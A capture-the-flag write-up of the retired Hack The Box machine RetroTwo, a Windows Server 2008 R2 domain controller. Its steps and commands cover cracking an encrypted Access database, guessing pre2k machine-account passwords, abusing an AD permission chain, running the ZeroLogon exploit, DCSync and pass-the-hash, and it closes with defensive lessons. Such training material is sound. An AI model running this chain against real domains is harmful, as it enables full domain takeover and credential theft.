root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat retrotwo.md
// writeups

RetroTwo

22 Jul 2025 · 6 min read
RetroTwo - maquina de Hack The Box

Executive summary — RetroTwo is a Windows Easy box: a domain controller running Windows Server 2008 R2. A guest-readable SMB share holds an encrypted Access database; cracking its password and dumping the decrypted pages recovers a service account's credentials from a deleted VBA module. BloodHound then shows two pre-created, never-used machine accounts whose password is simply their lowercase name (pre2k), and an ACL chain from Domain Computers down to RDP access on the DC. The DC itself is vulnerable to ZeroLogon (CVE-2020-1472), which gives Domain Admin deterministically; the machine password is restored afterwards so the domain stays consistent.

PlatformHack The Box (originally a VulnLab machine)
OSWindows Server 2008 R2 SP1 (DC BLN01.retro2.vl)
DifficultyEasy
StatusRetired
Services53, 88, 135, 139, 389, 445, 636, 3268, 3389, 5722 (DFSR), 9389; no WinRM
TechniquesAnonymous SMB, encrypted Access DB cracking, pre2k machine accounts, AD ACL abuse, ZeroLogon (CVE-2020-1472), DCSync

Attack map

[445/SMB] guest can read share 'Public' -> DB\staff.accdb (encrypted Access)
        |  office2john + rockyou -> password 'class08'
        v
Decrypted DB dumped page by page -> deleted VBA module -> ldapreader : <password>
        |  BloodHound: FS01$ / FS02$ are pre-created, unused machine accounts
        v
pre2k: password = lowercase name (fs01) -> Kerberos TGT as FS01$
        |  Domain Computers -> ForceChangePassword -> ADMWS01$
        |  ADMWS01$ -> AddMember -> 'services' (Remote Desktop Users)
        v
ldapreader added to 'services'  =>  RDP to the DC (intended interactive path)
        |  DC is Windows Server 2008 R2, unpatched
        v
[Netlogon] ZeroLogon (CVE-2020-1472) -> DCSync -> Administrator NT hash
        v
Pass-the-Hash -> user.txt + root.txt  (then restore the DC machine password)

1. Reconnaissance

nmap -Pn -p- --min-rate 1500 -T4 <TARGET_IP> -oG nmap/allports.gnmap
nmap -Pn -sCV -p 53,88,135,139,389,445,636,3268,3389,9389 <TARGET_IP> -oN nmap/services.nmap

A classic domain controller, with 3389 (RDP) open and 5722 (DFSR), a symptom of Server 2008 R2; there is no WinRM (5985). smb-os-discovery confirms Windows Server 2008 R2 Datacenter SP1, host BLN01, domain retro2.vl. An operating system that old is already a hint about which vulnerabilities to expect on the DC.

1.1 Anonymous SMB

netexec smb <TARGET_IP> -u guest -p '' --shares
smbclient //<TARGET_IP>/Public -U 'guest%' -c 'recurse ON; ls'
#  \DB\staff.accdb  (876 KB)
smbclient //<TARGET_IP>/Public -U 'guest%' -c 'cd DB; get staff.accdb'

The Public share is readable by guest and contains staff.accdb, a Microsoft Access database.

1.2 Domain users

netexec smb <TARGET_IP> -u guest -p '' --rid-brute
# admin, inventory, ldapreader, FS01$, FS02$, ADMWS01$, BLN01$, + staff accounts

The RID brute with the guest session lists the accounts, including three machine accounts (FS01$, FS02$, ADMWS01$) that will matter later. None of the users is AS-REP roastable.

2. Credential #1: opening staff.accdb

The file is an ACE database with Agile encryption (AES-256 / SHA-512, spin count 100000), so it first has to be cracked:

office2john staff.accdb > accdb.hash
john accdb.hash --wordlist=rockyou.txt
#  staff.accdb : class08

mdbtools and msoffcrypto can't open the encrypted ACE container, so the database is opened with Jackcess + jackcess-encrypt (Java) and the recovered password. The visible table turns out to be empty:

# jars from maven: jackcess 4.0.5, jackcess-encrypt 4.0.0, commons-lang3, commons-logging, bcprov
javac -cp "$CP" Dump.java        # opens with CryptCodecProvider("class08")
java  -cp "$CP" Dump staff.accdb class08
#  TABLE StaffMembers -> rowCount=0   (empty: data was deleted)

An empty table doesn't mean an empty file: the database is 876 KB, so deleted data and VBA code are still in its pages. Dumping the decrypted database page by page (Jackcess PageChannel, 4096-byte pages) and running strings on the result finds them:

java -cp "$CP" Decrypt staff.accdb class08 staff_plain.bin
strings -n4 staff_plain.bin | grep -i ldap
#  LDAP://OU=staff,DC=retro2,DC=vl
#  retro2\ldapreader

A hexdump around retro2\ldapreader shows the next string, with a length prefix of 09: the bind password of a VBA module that queries LDAP with a service account.

retro2\ldapreader . ' 0 ........ b9 00 09 00  70 70 59 61 56 63 42 35  52   -> "ppYaVcB5R"
netexec smb  <TARGET_IP> -u ldapreader -p 'ppYaVcB5R'    # [+]
netexec ldap <TARGET_IP> -u ldapreader -p 'ppYaVcB5R'    # [+]

3. Active Directory enumeration and the control chain

bloodhound-python -u ldapreader -p 'ppYaVcB5R' -d retro2.vl -ns <TARGET_IP> \
  -dc BLN01.retro2.vl -c All --zip
  • MachineAccountQuota = 10.
  • FS01$ / FS02$ have userAccountControl = 4128 (WORKSTATION_TRUST_ACCOUNT | PASSWD_NOTREQD), logonCount 0 and lastLogon 0: pre-created machine accounts that were never used.
  • admin is in Builtin\Administrators; inventory is in services.
  • ACEs: Domain Computers has ForceChangePassword and GenericWrite over ADMWS01$; ADMWS01$ has AddMember over the services group; services is in Remote Desktop Users.
  • The DC's GptTmpl.inf in SYSVOL gives services SeInteractiveLogonRight and SeRemoteInteractiveLogonRight, i.e. RDP to the DC, with no extra privileges.

3.1 pre2k: guessing the machine account passwords

Machine accounts created with the "pre-Windows 2000" option get a password equal to their lowercase name. Testing it against FS01$:

netexec smb <TARGET_IP> -u 'FS01$' -p 'fs01'
#  STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT

STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT means the credential is valid but a machine account can't do that kind of NTLM logon. It isn't a failure: the account is used through Kerberos instead.

impacket-getTGT retro2.vl/'FS01$':'fs01' -dc-ip <TARGET_IP>     # -> FS01$.ccache

3.2 Walking the chain: ADMWS01$ → services → RDP

# FS01$ (a Domain Computer) resets ADMWS01$  (ForceChangePassword)
KRB5CCNAME=FS01\$.ccache bloodyAD --host BLN01.retro2.vl --dc-ip <TARGET_IP> -d retro2.vl -k \
   set password 'ADMWS01$' 'AdmWs01Pass123!'
#  [+] Password changed successfully!

# ADMWS01$ adds ldapreader to services  (AddMember)
impacket-getTGT retro2.vl/'ADMWS01$':'AdmWs01Pass123!' -dc-ip <TARGET_IP>
KRB5CCNAME=ADMWS01\$.ccache bloodyAD --host BLN01.retro2.vl --dc-ip <TARGET_IP> -d retro2.vl -k \
   add groupMember services ldapreader
#  [+] ldapreader added to services

At this point ldapreader can RDP to the DC, and C:\user.txt (a non-standard location) is readable by a user with a session there. This is the interactive path the box was designed around; privilege escalation on a 2008 R2 DC has several options once there. The route below doesn't need a shell at all.

4. Root: ZeroLogon (CVE-2020-1472) to Domain Admin

The DC is Server 2008 R2 and unpatched against ZeroLogon, which lets an unauthenticated attacker set a domain controller's machine-account password to empty by abusing a flaw in the Netlogon secure channel handshake.

netexec smb <TARGET_IP> -u '' -p '' -M zerologon
#  ZEROLOGON  VULNERABLE

4.1 Exploit and DCSync

git clone https://github.com/dirkjanm/CVE-2020-1472 zerologon
python3 zerologon/cve-2020-1472-exploit.py BLN01 <TARGET_IP>
#  Exploit complete!   (the BLN01$ machine password is now empty)

impacket-secretsdump -no-pass 'retro2.vl/BLN01$@<TARGET_IP>'
#  Administrator:500:aad3b435b51404eeaad3b435b51404ee:c06552bdb50ada21a7c74536c231b848:::

4.2 Flags by Pass-the-Hash

H=c06552bdb50ada21a7c74536c231b848
smbclient //<TARGET_IP>/C$ -U "retro2.vl/Administrator%$H" --pw-nt-hash -c 'get user.txt'
smbclient //<TARGET_IP>/C$ -U "retro2.vl/Administrator%$H" --pw-nt-hash \
   -c 'get Users\Administrator\Desktop\root.txt'

4.3 Restoring the DC machine password (critical)

ZeroLogon leaves BLN01$ with an empty password in AD while the DC's local LSA still holds the original, which breaks the domain's trust relationships. As Administrator, the original is dumped from the LSA secrets and written back:

impacket-secretsdump -hashes :$H 'retro2.vl/Administrator@<TARGET_IP>'
#  $MACHINE.ACC: RETRO2\BLN01$:plain_password_hex:7cfe9e06...53a
#  $MACHINE.ACC NT hash: 53ca4f552054a60df7b6eb3816c8242f

python3 zerologon/restorepassword.py retro2.vl/BLN01@BLN01 -target-ip <TARGET_IP> \
   -hexpass 7cfe9e06...53a
#  Change password OK

Administrator Pass-the-Hash still works afterwards (Pwn3d!) and the DC is consistent again.

Credential summary

CredentialValueSource
staff.accdb passwordclass08office2john + rockyou
ldapreaderppYaVcB5RDeleted VBA module in the database
FS01$ / FS02$fs01 / fs02pre2k default password
ADMWS01$ (reset)AdmWs01Pass123!ForceChangePassword
Administrator (NT)c06552bdb50ada21a7c74536c231b848ZeroLogon + DCSync
BLN01$ original (NT)53ca4f552054a60df7b6eb3816c8242fLSA secret, restored

Vulnerability summary

PhaseComponentVulnerabilityImpact
ReconSMB share PublicGuest-readable share holding a sensitive database (CWE-200)Access to staff.accdb
Credentialsstaff.accdbWeak password and a service credential in VBA (CWE-521 / CWE-798)Domain credential ldapreader
FootholdFS01$ / FS02$Pre-created machine accounts with a default password (CWE-1392 / CWE-798)Authenticated machine account
LateralDirectory ACLsExcessive rights: Domain Computers → ADMWS01$ → services (CWE-284 / CWE-266)RDP access to the DC
RootDC NetlogonZeroLogon, CVE-2020-1472 (CWE-330)Domain Admin
RootServer 2008 R2Out-of-support operating system (CWE-1104)Unfixable class of exposure

Lessons

  • A database that looks empty may not be. Deleted rows and VBA code survive in the file's pages; dumping the decrypted pages and running strings recovered a credential the tools' tables didn't show.
  • pre2k accounts are free credentials. A machine account created with the legacy option and never used has a guessable password and an AD identity; audit them and use the "only the following computer may join" setting instead.
  • ACL chains matter more than any single permission. Each edge here (Domain Computers, ADMWS01$, services, Remote Desktop Users) looks minor, but together they end in an interactive session on the DC.
  • ZeroLogon is destructive. It changes a machine password the DC depends on, so the original must be recovered and restored, or the domain is left broken. Patching and enforcing secure channel make it moot.